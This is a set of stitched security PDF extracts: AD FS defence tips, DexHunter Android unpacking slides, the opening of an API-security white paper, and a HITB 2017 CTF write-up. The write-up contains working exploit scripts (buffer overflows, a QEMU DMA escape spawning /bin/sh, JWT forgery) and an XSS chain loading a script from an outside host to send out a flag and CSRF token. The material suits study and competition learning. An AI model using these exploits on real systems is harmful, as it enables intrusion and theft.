– Check “success” and “failure” audit options in AD FS Management snap-in – Enable “Audit Application Generated” events on the AD FS farm via GPO Best Practices and Mitigations 56 Before everything goes awry ©2019 FireEye ©2019 FireEye § Make the AD FS Service account a gMSA – Passwords managed by AD § High Security: Use a Hardware Security Module (HSM) § While we're at it: Extranet Smart Lockout for AD FS 2016 Best Practices and Mitigations 57 Before everything goes awry ©2019 FireEye ©2019 FireEye § Identity providers now are part of the incident response process § If you have good visibility and confidence attacker targeted AD FS: – Reset signing key - carefully – Compare claims rules/exceptions against baselines – Verify core adapters are intact § If not – determine your risk rating and act appropriately § Vendor debug logs can be useful in AD FS cloning scenarios – Not so much with modified adapters... Responding Appropriately 58 FIN
pdf
The Terminator to Android Hardening Services Yueqian Zhang, Xiapu Luo, Haoyang Yin Department of Computing The Hong Kong Polytechnic University 1 2 Source: Trend Micro Percentage of top 10 apps in each category which have repacked version: •100% of the apps of Widgets, Media & Video, etc. •90% of the apps of Business, Music & Audio, etc. •… 3 Outline Background DexHunter Analysis of major products Related work 5 Outline Background DexHunter Analysis of major products Related work 6 Dex File Java source code -> Java class -> dex Java class: each file contains one class dex: one file contains all classes Reorganize constant pools in each class file into shared and type-specific constant pools 7 Dex File The executable of an App. The header contains the length and the offset for each section. class_defs section contains class_def_items, each of which describes a class. 8 class_def_item A class_def_item points to a class_data_item. A class_data_item contains the data of a class. Each method is described by an encoded_method. An encoded_method points to a code_item. A code_item contains the instructions of a method. 9 OAT File It is generated while an app is installed or a jar file is loaded. /frameworks/base/services/java/com/android/server/pm/Packa geManagerService.java Constructor method  scanDirLI () scanPackageLI()performDexOptLI()mInstaller.dexopt() It is an ELF file. 10 OAT File Three symbols in dynamic section. oatdata oatexec oatlastword The original dex file is contained in the oatdata section. The compiled native instructions are contained the oatexec section. 11 Outline Background DexHunter Where to unpack the app? When to unpack the app? How to unpack the app? Analysis of major products Related work 12 Where to dump dex file? Four occasions Opening a Dex file; Loading a class; Initializing a class; Invoking a method; 13 Opening a Dex File Operations Open an APK file; Check whether it has been cached; If not, extract the dex file from the APK and generate the cached dex file; Open the cached dex file. 14 Procedure of Opening a Dex File in ART 15 Loading a Class Operations Form a class object from the data; Verify the legitimacy of access flags and the data; Populate all fields in the class object; Deal with its super classes and/or interfaces; Conduct some other checking. 16 Two Ways of Loading a Classes Explicit approach Class.forName(), ClassLoader.loadClass(). Implicit approach E.g., new operation, accessing static members, etc. 17 Implementation in ART Explicit ClassLoader.loadClass DexFile_defineClassNative Class.forName Class_classForName Implicit new operations and so on artAllocObjectFromCode 18 Implementation in ART 19 Implementation in DVM Explicit ClassLoader.loadClassDalvik_dalvik_system_DexFile defineClassNative Class.forName Dalvik_java_lang_Class_classForName Implicit new operations and so on dvmResolveClass 20 Implementation in DVM 21 Class Loaders at Java Level Three class loaders BootClassLoader It is used for loading system classes. DexClassLoader It is used for loading external files. PathClassLoader It is used by the framework. 22 Inheritance Relationship 23 Parent Delegation Model Class<?> loadClass(String className, boolean resolve { Class<?> clazz = findLoadedClass(className); if (clazz == null) { clazz = parent.loadClass(className, false); } if (clazz == null) { clazz = findClass(className); } } return clazz; } 24 Parent Delegation Model Each subclass of ClassLoader implements its own findClass(). Each subclass of ClassLoader inherits loadClass() except BootClassLoader. 25 Differences between Java and Android defineClass() in ClassLoader (Android) is not implemented. Throw UnsupportedOperationException URLClassLoader in Android also cannot load a class, because URLClassLoader.findClass()  URLHandler/URLJarHandler.findClass() createClass () ClassLoader.defineclass() 26 A Loaded Class Object in ART 27 A Loaded Class Object in DVM Object Class* klass_ u4 lock other data members ClassObject ...... Method* directMethods ...... InstField* ifields Method* virtualMethods ...... ...... StaticField sfields[n] Method ...... u2* insns ...... ... Method ...... u2* insns ...... Method ...... u2* insns ...... ... Method ...... u2* insns ...... StaticField JValue value ... ...... StaticField JValue value ...... InstField int byteOffset ... ...... InstField int byteOffset ...... 28 When does Initializing Classes happen? Before the class object is used; Before the first static data member is accessed; Before the first static method is invoked; Before the first instance is generated; … 29 Invoking a Method DVM or ART interpreting mode Execute the instructions in the code_item. ART native mode Execute the native instructions in oatexec section. 30 When to unpack the app? When the first class of the app is being loaded. Why? Before a class is loaded, the content of the class should be available in the memory; When the class is initialized, some content in memory may be modified dynamically; Just before a method is invoked, its code_item or instructions should be available. How? Load and initialize all classes proactively. 31 How to unpack the apk? Integrate our tool into Android runtime including DVM and ART. Wait for the proper occasion. Locate the target memory region. Dump the selected memory. Correct and reconstruct the dex file. 32 DexHunter 33 Memory Space Target Region part1 data DexClassData Parsing each class Locate Collected DexClassData Collected code_item class_def_item classdef extra write Loading & Initializing Classes Traverse all class_def_items in the dex file. For each one, we load it with FindClass function (ART) or dvmDefineClass function (DVM). Then we initialize it with EnsureInitialized function (ART) or dvmIsClassInitialized & dvmInitClass functions (DVM). 34 Locating the Target Memory Region The target memory region contains the dex file. We use a special string to determine whether the current dex file is what we want. 35 The Special String in ART ART: the string “location_” in DexFile objects. The opened apk file’s path  dex_file_location in generated oat file’s header  dex_file_location_ in OatDexFile objects  location_ in DexFile objects by function DexFile::Open 36 The Special String in DVM DVM: the string “fileName” in DexOrJar objects. The opened apk file path fileName in DexOrJar objects by function Dalvik_dalvik_system_DexFile_openDexFileNative. For Dalvik_dalvik_system_DexFile_openDexFile_bytearray, fileName is always equal to “<memory>”. 37 Extracting the Dex File in Memory Divide the target memory region Part 1: the content before the class_defs section Part 2: the class_defs section Part 3: the content after the class_defs section Dump part 1 into a file named part1 and part 3 into a file named data. 38 Parsing the Content Parse class_defs section. Getting each class_data_item from class_def_item. Read the corresponding content into a DexClassData object. Notice: some fields in a class_data_item are encoded by LEB128 algorithm. 39 Correcting and Collecting Why? Packing services may modify the memory dynamically. The memory consists of the region containing the dex file and the method objects (i.e., ArtMethod in ART, Method in DVM) managed by runtime. The runtime executes instructions according to the managed method objects. 40 Correcting and Collecting We check each: class_data_off in class_def_item. accessflag and codeoff in DexMethod of parsed class_data_item (i.e., DexClassData object). 41 How? Determine whether the class_data_off in class_def_item exists in the scope of the dex file. Copy all class_def_items and write them into a file named classdef. Collect the outside class_data_items into a file named extra. Correct the fields in selected DexClassData object according to the managed method object. 42 Scenario I Compare the accessFlags in DexMethod with the access flag in the managed method object. Compare the codeoff in DexMethod with the code_item_off in the managed method object. If at least one is not equal, we modify the value in the DexMethod object according to the managed method object and write the relevant DexClassData into extra file. 43 Scenario II Check whether code_item_off exists in the scope of the dex file. If not, we collect the correct code_item and write it into extra file. 44 Reconstructing the Dex File We now have four files: part1, classdef, data, extra. We combine them as the sequence (1) part1 (2) classdef (3) data (4) extra Finally, we obtain a complete dex file. 45 Outline Background DexHunter Analysis of major products Related work 46 Products under Investigation 360 http://jiagu.360.cn/ Ali http://jaq.alibaba.com/ Baidu http://apkprotect.baidu.com/ Bangcle http://www.bangcle.com/ Tencent http://jiagu.qcloud.com/ ijiami http://www.ijiami.cn/ 47 Experiment Setup 48 String List 360 /data/data/XXX/.jiagu/classes.dex Ali /data/data/XXX/files/libmobisecy1.zip Baidu /data/data/XXX/.1/classes.jar Bangcle /data/data/XXX/.cache/classes.jar Tencent /data/app/XXX-1.apk (/data/app/XXX-2.apk) ijiami /data/data/XXX/cache/. XXX stands for its package name. 49 Anti-debugging All products detect debugger Anti-ptrace Anti-JWDP …. They cannot detect DexHunter. 50 360 Version: 06-21-2015 It encrypts the dex file and saves it in libjiagu.so/libjiagu_art.so. It releases the data into memory and decrypts it while running. 51 Ali Version: 21-06-2015 It splits the original dex file into two parts One is the main body saved in libmobisecy.so The other one contains the class_data_items and the code_items of some class_def_items. It releases both two parts into memory as plain text and corrects some offset values in the main body while running. Some annotation_offs are set to incorrect values. 52 Baidu Version: 21-06-2015 It moves some class_data_items to other places outside the dex file. It wipes the magic numbers, checksum and signature in the header after the dex file has been opened. 53 Baidu It fills in an empty method just before it is invoked and erases the content after the method is finished. We instrument method invocation to dump these methods which is available only just before invoking. DoInvoke (ART) dvmMterp_invokeMethod (DVM) 54 Bangcle Version: 21-06-2015 It prepares the odex file or oat file in advance. It encrypts the file and stores it in an external jar file. It decrypts the data while running It hooks several functions in libc.so, such as fwrite, mmap, … 55 ijiami Version: 21-06-2015 Similar to Bangcle The string changes every time the app runs. It releases the decrypted file, which is also encrypted as a jar file, with different file names each time while they are in the same directory. 56 Tencent Version: 25-05-2015 It can protect the methods selected by users. If a method is selected, it cannot be found in the relevant class_data_item. It releases the real class_data_item and adjusts the offset. The code_item of the selected method is still in the data section. Some annotation_offs and debug_info_offs are set to 0xFFFFFFFF. It can only runs in DVM. 57 Outline Background DexHunter Analysis of Major Products Related work 58 Related work A. Apvrille and R. Nigam, “Obfuscation in android malware, and how to fight back,” Virus Bulletin, July 2014. M. Grassi, “Reverse engineering, pentesting, and hardening of android apps.” DroidCon, 2014. T. Strazzere and J. Sawyer, “Android hacker protection level 0,” DefCon, 2014. (android-unpacker, https://github.com/strazzere/android- unpacker) ZjDroid, http://blog.csdn.net/androidsecurity/article/details/38121585 Y. Park, “We can still crack you! general unpacking method for android packer (no root),” Blackhat Asia, 2015. Y. Shao et al., DexDumper in paper “Towards a Scalable Resource-driven Approach for Detecting Repackaged Android Applications”, Proc. ACSAC, 2014. 59 61
pdf
HITB Write Up CTYPTO HASHINATOR python脚本: #! /usr/bin/env python3 # -*- coding: utf-8 -*- import re import os import hashlib import struct import time from base64 import b64encode from pwn import * context.log_level = "debug" def md5(bytestring): return hashlib.md5(bytestring).digest() def sha(bytestring): return hashlib.sha1(bytestring).digest() def blake(bytestring): return hashlib.blake2b(bytestring).digest() def scrypt(bytestring): l = int(len(bytestring) / 2) salt = bytestring[:l] p = bytestring[l:] return hashlib.scrypt(p, salt=salt, n=2**16, r=8, p=1, maxmem=67111936) def xor(s1, s2): return b''.join([bytes([s1[i] ^ s2[i % len(s2)]]) for i in range(len(s 1))]) def generate_password(): return os.urandom(64) def generate_salt(p): msize = 128 # f-you hashcat :D salt_size = msize - len(p) return os.urandom(salt_size) def generate_rounds(): hashes = [md5, sha, blake, scrypt] rand = struct.unpack("Q", os.urandom(8))[0] rounds = [] for i in range(32): rounds.append(hashes[rand % len(hashes)]) rand = rand >> 2 return rounds def calculate_hash(payload, hash_rounds): interim_salt = payload[:64] interim_hash = payload[64:] for i in range(len(hash_rounds)): interim_salt = xor(interim_salt, hash_rounds[-1-i](interim_hash)) interim_hash = xor(interim_hash, hash_rounds[i](interim_salt)) final_hash = interim_salt + interim_hash return final_hash def generate_delay(self): rand = struct.unpack("I", os.urandom(4))[0] time.sleep(rand / 1000000000.0) def test(): password = generate_password() print("password: %s"%password) salt = generate_salt(password) print("salt: %s"%salt) hash_rounds = generate_rounds() password_hash = calculate_hash(salt + password, hash_rounds) r_pass = restore(password_hash, hash_rounds) print(r_pass == password) def restore(password_hash, hash_rounds): salt = password_hash[:64] ihash = password_hash[64:] for i in range(32): ihash = xor(ihash, hash_rounds[-1-i](salt)) salt = xor(salt, hash_rounds[i](ihash)) print("restore data: %s"%(salt+ihash)) return ihash def attack(): p = remote("47.88.216.38", 20013) p.readuntil(" b'") base = p.readuntil("'")[:-1] base = base64.b64decode(base) assert len(base) == 128 salt = base[:64] ihash = base[64:] p.readuntil("used:\n") hash_round = [] for x in range(32): tmp = p.readline() if b"scrypt" in tmp: hash_round.append(scrypt) elif b"sha" in tmp: hash_round.append(sha) elif b"md5" in tmp: hash_round.append(md5) elif b"blake" in tmp: hash_round.append(blake) assert len(hash_round) == 32 ihash = restore(base, hash_round) ihash = re.findall(b"([a-zA-Z0-9]+)", ihash)[-1] p.sendline(ihash) p.interactive() if __name__ == '__main__': # test() attack() MISC Flying_High 题目提供了4个 bin 文件,于是先 file 一下发现是UBIfs image,于是挂载。可以辨认出是一个 ARDrone的文件系统镜像。最后在 image3.bin 中的/video/usb/下找到了一段录制的视频 video_20170817_150007.mov。视频中就是 flag。 2017, Dating in Singapore 简单观察发现题目所给数字两两一组都在1-31之间,结合题目想到日历,用类似键盘密码的形式解 密即可。 table = [[1,8,15,22,29,15,16,17,3,10,17,24,31],[5,6,7,13,20,27,16,27,28], [1,2,3,2,9,16,23,30],[2,9,16,23,2,3,10,9,9,10,17,24,23], [2,1,8,14,22,29,30],[6,5,4,11,18,25,26,27],[2,3,4,3,10,17,24,31], [1,2,3,1,8,15,22,29,15,16,17],[4,5,6,4,11,18,25,18,19,20], [1,8,15,22,29,30,31,24,17,10,3],[26,19,12,5,20,28,21,14,7],[4,5,12,13,19,2 6,25]] pad = [-1,2,2,5,0,3,5,1,4,-1,2,4] for i in table: res = [0]*49 for j in i: res[j+pad[table.index(i)]]=1 for j in range(len(res)): if j%7 == 0: print print 'X' if res[j] else '.', print print Cephalopod tcpxtract 得到图片,内容就是flag PWN BabyShellcode This challenge is a simple shellcode manager, which allows us to upload shellcode and execute on the server-side. (Though the shellcode execution functionality is blocked.) In the script below we totally exploited two bugs in the binary. The first one is an stack-based buffer overflow vulnerability in handling username input : the program reads a large buffer into the small name buffer. We used this bug as an info-leak to leak the SEH chain pointer since the program does not add any trailing zero to the name string. With the leaked pointer we can bypass SEHOP . The second one is also an stack-based buffer overflow in handling shellcode execution : the program stores the shellcode being executed into a small stack-buffer without any length check. We used this bug to gain code execution. Moreover, there’s another point which causes module base address leakage : the program uses WELL1024a as its PRNG to generate challenge when a user tries to disable shellcode-guard. The initial seed of the PRNG is the function address of scmgr!init_scmgr . So we did a little brute- force to find the module base. Luckily scmgr.dll is compiled without SafeSEH protection, so any address inside this image is a valid target. Exploit : import socket import telnetlib import struct #ADDR = ('localhost', 9999) ADDR = ('47.88.217.238', 20003) s = socket.create_connection(ADDR) f = s.makefile('rw', 0) def read_until(delim='\n'): buf = '' while not buf.endswith(delim): buf += f.read(1) return buf def p32(x): return struct.pack("<L", x) def u32(x): return struct.unpack("<L", x)[0] def prompt(): return read_until('Option:') raw_input('Press any key to Exploit\n') read_until('at ') scaddr = int(read_until().strip(), 16) read_until('name') #payload = 0x50 * 'A' + p32(0xFFFFFFFF) + p32(0x72671100) + '\n' payload = 0x50 * 'A' + '\n' f.write(payload) read_until(0x50*'A') nextchain = u32(f.read(4)) print '[*] next chain addr :', hex(nextchain) payload = 0x70 * 'A' + p32(nextchain) + p32(0x72671100) #payload = 0x70 * 'A' + p32(nextchain) + p32(0x68661100) prompt() f.write('1\n') read_until('size:') f.write(str(len(payload)) + '\n') read_until('name:') f.write('123\n') read_until('desc') f.write('AAA\n') read_until('shellcode:') f.write(payload + '\n') prompt() f.write('4\n') read_until('index') f.write('0\n') f.write('dir\n') t = telnetlib.Telnet() t.sock = s t.interact() BabyQEMU We were given a QEMU binary along with Linux image. Reading the launch.sh and we found there’s an special virtual device hitb attached. So we decided to look into the QEMU binary. Fortunately the binary was not stripped and compiled with debugging symbols. By grep-ing the functions by hitb we found a list of functions related to the hitb device. After looking into the functions for a while, we noticed that no bound checks are performed while doing DMA operations. So we can leak & overwrite heap memory. We also noticed there is a function pointer enc in structure HitbState , so we can overwrite this function pointer to get shell. Exploit : #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/io.h> #include <sys/types.h> #include <stdint.h> #include <sys/mman.h> void __attribute__((noreturn)) fatal(char* str) { //perror(str); exit(-1); } uint64_t vtop(uint64_t vaddr) { intptr_t paddr; off_t off; uint64_t e; paddr = 0; off = (vaddr / 0x1000) * sizeof(uint64_t); // https://www.kernel.org/doc/Documentation/vm/pagemap.txt int fd = open("/proc/self/pagemap", O_RDONLY); if(fd < 0) { fatal("vtop(open)"); } if (lseek(fd, off, SEEK_SET) == off) { if (read(fd, &e, sizeof(uint64_t)) >= 0) { if (e & (1ULL << 63)) { // page present ? paddr = e & ((1ULL << 54) - 1); // pfn mask paddr = paddr * 0x1000; // add offset within page paddr = paddr | (vaddr & (0x1000 - 1)); } } else { fatal("vtop(read)"); } } else { fatal("vtop(lseek)"); } return paddr; } void qworddump(uint64_t* buffer, size_t length) { int i; while(1) { //printf("%08X: %016llx %016llx\n", i*8, buffer[i], buffer[i+1]); i += 2; if(i*8 >= length) break; } return; } #define PCI_DEV1_PORT_BASE 0xc000 #define PCI_DEV2_PORT_BASE 0xc100 void* devmmio; void mwrite4(uint32_t offset, uint32_t value) { *(uint32_t*)((char*)devmmio + offset) = value; } void dma_set_src_low(uint32_t value) { mwrite4(128, value); } void dma_set_src_hi(uint32_t value) { mwrite4(132, value); } void dma_set_dst_low(uint32_t value) { mwrite4(136, value); } void dma_set_dst_hi(uint32_t value) { mwrite4(140, value); } void dma_set_cnt(uint32_t value) { mwrite4(144, value); } void dma_set_cmd(uint32_t value) { mwrite4(152, value | 1); } #define DMA_WRITE 2 #define DMA_READ 0 #define DMA_ENCRYPT 4 int main(int argc, char* argv[], char* envp[]) { uint8_t* dma_mem = malloc(0x1000); int fd = open("/sys/bus/pci/devices/0000:00:04.0/resource0", O_RDWR); if(fd < 0) { fatal("open"); } void* mem = mmap(NULL, 0x100000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0); if(mem == (void*)-1) { fatal("mmap"); } devmmio = mem; /* uint8_t* dma_mem = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVAT E |MAP_ANONYMOUS, -1, 0); if(dma_mem == (void*)-1) { fatal("mmap"); } */ *(char*)(dma_mem) = 0x41; // touch uintptr_t phys_addr = vtop((uintptr_t)dma_mem); if(phys_addr == 0) { fatal("vtop"); } //printf("dma_mem %#p phys_addr %#p\n", dma_mem, phys_addr); //printf("leak...\n"); dma_set_src_low(0x41000); dma_set_src_hi(0); dma_set_dst_low(phys_addr & 0xFFFFFFFF); dma_set_dst_hi(phys_addr >> 32); dma_set_cnt(0x100); dma_set_cmd(DMA_WRITE); sleep(1); qworddump(dma_mem, 0x200); uint64_t leak = *(uint64_t*)(dma_mem) - 0x283dd0; //printf("leaked base = %#p\n", leak); uint64_t system = leak + 0x1FDB18; *(uint64_t*)(dma_mem) = system; //printf("oob...\n"); dma_set_src_low(phys_addr & 0xFFFFFFFF); dma_set_src_hi(phys_addr >> 32); dma_set_dst_low(0x41000); dma_set_dst_hi(0); dma_set_cnt(0x8); dma_set_cmd(DMA_READ); sleep(1); //strcpy(dma_mem, "/bin/sh;"); strcpy(dma_mem, "/bin/sh"); dma_set_src_low(phys_addr & 0xffffffff); dma_set_src_hi(phys_addr >> 32); dma_set_dst_low(0x40000); dma_set_dst_hi(0); dma_set_cnt(0x100); dma_set_cmd(DMA_READ); sleep(1); //printf("trigger...\n"); dma_set_src_hi(0); dma_set_src_low(0x40000); dma_set_dst_hi(0); dma_set_dst_low(0); dma_set_cnt(8); dma_set_cmd(DMA_WRITE | DMA_ENCRYPT); sleep(1); return 0; } 1000levels hint虽然不会打印出system的地址,但是可以把system的地址留在栈上。 后面输入关卡数量的时候第一次输入一个负数可以保留system的地址,第二次输入system和 one_gadget的地址差可以把one_gadget的地址留在栈上。 随后闯完1000关之后直接把返回地址覆盖为vsyscall的地址,使之可以一直ret到one_gadget的地 址。 其实不用闯完1000关,栈可以溢出的空间很大,可以直接覆盖满,就不用跑那么久了。 from pwn import * # p = process('./1000levels', env={'LD_PRELOAD':'./libc.so.6'}) p = remote('47.74.147.103', 20001) libc_base = -0x45390 one_gadget_base = 0x4526a def launch_gdb(): context.terminal = ['gnome-terminal', '-x', 'sh', '-c'] gdb.attach(proc.pidof(p)[0]) def ansewer(): p.recvuntil('Question: ') tmp1 = eval(p.recvuntil(' ')[:-1]) p.recvuntil('* ') tmp2 = eval(p.recvuntil(' ')[:-1]) p.sendline(str(tmp1 * tmp2)) p.recvuntil('Choice:') p.sendline('2') p.recvuntil('Choice:') p.sendline('1') p.recvuntil('How many levels?') p.sendline('-1') p.recvuntil('Any more?') p.sendline(str(libc_base+one_gadget_base)) for i in range(999): log.info(i) ansewer() # launch_gdb() p.recvuntil('Question: ') p.send('a'*0x38 + p64(0xffffffffff600000) * 3) # ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] p.interactive() Mobile prime 经过分析发现只有质数和质数的平方会增加计数。 于是找到一个神奇的网站 最后计数的结果就应该是10^16以内的质数个数加上10^8以内的质数个数。 SecretRecorder 这个app在录完音后会调用一个native的函数。在这个函数中把音频转换成了图片。 替换头的部分比较简单,主要的加密算法为: 对应的解密算法为: #include <stdio.h> #include <stdlib.h> #define FILE_SIZE 2380854 char s[2380854+1]; char s2[2380854+1]={0}; int main() { FILE* f = fopen("key.bmp","rb"); fread(s,2380854,1,f); fclose(f); int v9 = 1; int v10 = 99; int i=0; int j = 54; int k=FILE_SIZE-1; while(i-54) { if(v9==1) { s2[i] = s[j]^v10; j++; v10^=0x42; v9=0; } if(v9==0) { s2[i] = s[k]^v10; k--; v10^=0x42; v9=1; } i++; } f = fopen("de_key.bmp","wb"); fwrite(s2,2380854 -54,1,f); fclose(f); return 0; } 解密之后手动添加一下wav文件头,就可以听到录音: 谁 踢 艾特 赛文 是大二 爱死 屁 一扣 噢 乃 图 欸可斯 经过翻译可以得到at@7*sp=o92x 用这个密码解开压缩包之后可以得到一个音频,猜测是需要再加密一遍: #include <stdio.h> #include <stdlib.h> #define FILE_SIZE 768626 char s[FILE_SIZE+1]; char s2[FILE_SIZE+1]={0}; char padd[100]={0}; int main() { FILE* f = fopen("flag.wav","rb"); fread(s,FILE_SIZE,1,f); fclose(f); int v9 = 1; int v10 = 99; int i=44; int j = 44; int k=FILE_SIZE-1; while(i-44) { if(v9==1) { s2[j] = s[i]^v10; j++; v10^=0x42; v9=0; } else if(v9==0) { s2[k] = s[i]^v10; k--; v10^=0x42; v9=1; } i++; } f = fopen("de_flag.bmp","wb"); fwrite(padd,54,1,f); fwrite(s2+44,FILE_SIZE -44,1,f); fclose(f); return 0; } 加密过后改个文件头就可以看到flag了。 字写得真丑 Web blog 在首页点点/查看html会发现所有与后端交互都是通过 api 这个接口进行的,请求的格式为 query:{ itemsForAuthor(id:"aYT0x") { id title } } 看样子是对数据库的操作 随便抓了一个,看起来像base64,在后面随便添加一段很长的东西测试一下 发现sql语句报错 传入空值也有报错 根据报错可以找到这个应用所用的框架,就是 facebook 用的 graphql 。 http://facebook.github.io/graphql/ 这个框架将数据库的操作转换成类似 nosql 的操作,安全性比较高。 查看官方文档,发现几个内置的操作: __schema查看一下系统所有的根对象 __type可以对某个对象的属性进行查看 发现根对象中的Query中有个属性叫itemSelection 现在的问题是Query对象在哪里被调用 在测试前期,我们随便输入内容 会发现有报错 "errors":[{"message":"Cannot query field \"zz\" on type \"Query\".","locations":[{"column":4,"line":1}]}]} 发现这里第一个被调用的就是 Query 对象 于是我们可以直接这么传: query={ itemSelection } 即可调用query对象,发现报错: 这里面有两个信息: 首先有个筛选字段是必须的,叫 ids ,需要提供查询字段, itemselection 的属性是 BlogItem ,这个属性 的可查询字段可以通过 __type 查看 于是可以构造一个查询的query如下 query={ itemSelection(ids:"xxx"){ id title content} } 在ids传入随便一个文章id bYj0x 可以查到,测试下在后面直接拼接单引号(base64): ok,存在注入 因为是 类json 数据, sqlmap 总是很奇怪的在各种大括号旁边加 * 影响注入,于是写个 tamper Pasty 是一个在线粘贴板的东西,可以选择分享或独自查看,选择分享,就会多出一个下载的接口。 随便注册个账号,登录,发现是通过 Bearer 验证方式验证的 base64decode 一下 发现一个目录 keys/ 里面存有五个公钥 同时有个 JWT ,搜索一下,搜到一个可以在线签名的,把验证信息贴上去,就会被自动解码划分出各 部分 https://jwt.io/ 看了下验证机制,其实就是通过rsa对前面的信息进行签名,然后验证签名,但是我们没有他那个路 径下对应 公钥的私钥,无法伪造签名。 这里要利用一下这个网站本身的业务,当我们选择分享剪贴板的时候,就会提供下载接口,发现下 载其实就是 在查看剪贴板后面拼接了 ?raw 参数 于是我们可以贴一个自己生成的公钥,然后在前面指定目录为下载这里,就会利用我们贴的这个公 钥做验证。 我们发现其实读取的时候后面是拼接 .pem 的,而这个 ?raw 参数刚好可以利用 ?raw= 来闭合 掉 .pem 利用与公钥对应的私钥签名,来伪造自己是 admin ,同时指定公钥的路径 利用得到的验证串,可以查看admin的剪贴板,即可get flag eyJraWQiOiJhcGkvcGFzdGUvYjZjZTAxZGEtMDRhMi00ZjRmLTk4NmEtZjUzZTNkYTBkMGM1P3J hdz0 iLCJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJhZG1pbiJ9.ZXOTvgMrmwSxtyO UJ2rY Bh2ba5mOE4DGhT7wpzbPGT9NYPxYx9ajuftNEhZxJ1S9QE63pwIIto5zQ5KMXvokCLnVS7mDPs X0pvO capUC_XrmMl5YEeHTzhtXXreYiHc83Q-juIPX910Tfyu7d2c1EjillUn4RkaqrGZZe7j94Hw flag HITB{b128a14885c4974c4a7016eb1d79aae6} Website 一个xss,感觉应该有好多种做法,好多地方都有xss orz(waf一点都不严格)。 首先先随便注册个账号登录 site填入我的vps地址,发现他会访问。 于是入口点就是:构造一个富含xss的链接发给他。 xss的地方很多,最好利用的是 这个getInfo接口,返回jsonp数据,存在反射型xss,而且没上waf。 jsonp的referer检查就可以利用302跳转解决。 于是我们的攻击链扩充到了: 链接->302 jsonp xss 问题是如何拿到flag? 经过测试发现flag是通过getflag接口 获取 需要的参数是 csrftoken http://47.88.218.105:20010/getflag.php? csrftoken=c1a10e97f9c2fa973299fa3154f38b58 能否有权限获取flag是读取 jsonp 中的 username ,这个 username 是后端解密 cookie 中的 username 得到的明文 cookie 中的 username 受 http-only 保护不可读取,也没有能显示出 cookie 中加密的 username 的页面,于是只能控制admin去访问flag页面然后返回给我们了。 整个利用如下: 链接-> 302到jsonp xss-> 提取jsonp中csrftoken字段-> xhr 控制读取flag-> 返回flag到xss平台 发送链接的php内容 b.js内容 Data: {'flag':'HITB{j50nP_1s_VulN3r4bLe}','csrftoken':'058807fed91d1b8807688bd25 8710c be'} IP: 47.88.218.105 Date and Time: 25 August, 2017, 12:31 pm Referer: http://47.88.218.105:20010/action.php? callback=%3Cscript+src=%22http://123.206.216.198/b.js%22%3E%3C%2Fscript%3E getflag
pdf
Cover Your APIs: Securing Your Hidden Web Attack Surface WHITE PAPER Securing Your Hidden Web Attack Surface Cover Your APIs </> Cover Your APIs: Securing Your Hidden Web Attack Surface + The importance of web APIs and web services in software development + The challenges of including APIs in application security testing, and how to overcome them + The security and efficiency benefits of holistic AppSec Highlights from this white paper include: 2 Web application programming interfaces (APIs) present a huge – yet still underprotected – attack surface for cybercriminals. While application security testing has traditionally been focused on the user interface, modern applications rely heavily on APIs for data exchange and to build the application architecture. Today’s enterprise web apps are no longer monolithic applications but rather constellations of loosely coupled services communicating through APIs, all subject to rapid development in response to shifting business requirements – and each a target in its own right. While these innovation pathways are crucial for growth, they also dramatically increase the web attack surface, leaving organizations exposed to attacks that target APIs in order to directly access sensitive data and functionality. As Gartner® estimates, “By 2023, 90% of web-enabled applications will have more surface area for attack in the form of exposed APIs rather than the user interface, up from 50% in 2020.” It is therefore quite clear that application security testing must also cover APIs. However, legacy AppSec approaches haven’t kept pace with technical developments, leaving organizations struggling to reconcile multiple testing tools and processes – or altogether overlooking web application APIs in their security programs. With API abuses expected to become the top threat vector in 2022, continued neglect can only mean yet more successful cyberattacks. This white paper shows the importance of including APIs in web application security testing and outlines a modern approach to vulnerability testing that covers the entire attack surface of modern web applications, from development to production. Executive summary Cover Your APIs: Securing Your Hidden Web Attack Surface 3 What you don’t see can hurt you most At the risk of revisiting an industry-standard analogy, APIs are a major part of the hidden underwater part of the iceberg that is your web application environment. Just as 80% of an iceberg lurks under the surface, the vast majority of modern applications work with APIs more than their user interface. In fact, research shows that APIs account for a massive 83% of all web traffic, in no small part because they are what powers content delivery networks and data back-ends. We are used to thinking that the user interface and the application are the same thing, but the visible controls are only the start of the attack surface available to threat actors. In the physical world, criminals are unlikely to march in through the front office if they can sneak in through the service entrance. Cybercriminals are no different – why waste time trying to hack a login form when they can quietly extract the same data through an API? More importantly, APIs are far more likely to slip under the radar during testing and asset inventory, which makes them harder to secure and easier to exploit. As we will see later, a graphical user interface is increasingly just a way to retrieve data from APIs and present it to users. In modern service-oriented architectures, most – if not all – application functionality is implemented as web services and exposed through APIs. In effect, APIs are the gatekeepers of the world’s business logic and data – and with information now the most valuable resource, it is no wonder that API-based attacks are on the rise. To quote Gartner®: “By 2023, 90% of web-enabled applications will have more surface area for attack in the form of exposed APIs rather than the user interface, up from 50% in 2020. By 2022, API abuses will move from an infrequent to the most frequent attack vector, resulting in data breaches for enterprise web applications.” Source: Gartner, Magic Quadrant™ for Application Security Testing 2021, Dale Gardner, Mark Horvath, Dionisio Zumerle, 6 January 2021. GARTNER and MAGIC QUADRANT are a registered trademark and service mark of Gartner, Inc. and/or its affiliates in the U.S. and internationally and are used herein with permission If you want to avoid becoming the next breach headline, there is no question that you need to test and secure your web applications in their entirety, including both UI and API – because cybercriminals will find the weakest spot and strike there. But while web application security testing is already a fairly mature segment, API security is still playing catch-up, and there are many misconceptions and misunderstandings to clear up around testing the API part of the web attack surface. Cover Your APIs: Securing Your Hidden Web Attack Surface 4 Why APIs make API endpoints are easy to define but hard to find, test, and secure. Many start life as private APIs intended for testing or internal use but later slip into production, often without inventory, documentation, logging, or access control. Web APIs are designed with automated access in mind, which is convenient both for valid users and for attackers. API creators may only be expecting well-formed requests from known systems (or even the same application), so they are less likely to check incoming calls with the same care as for user-facing pages. attractive targets Cover Your APIs: Securing Your Hidden Web Attack Surface 5 Demystifying web APIs Part of the reason for the rising tide of API-based attacks is that many organizations are still not sure what web APIs they have, what they should do about them, and what questions to ask when investigating API security. This section explains web APIs and related concepts, showing how they work, what hides behind the acronyms, and why API security is still widely misunderstood – and underestimated as a risk vector. Attacks on APIs vs. 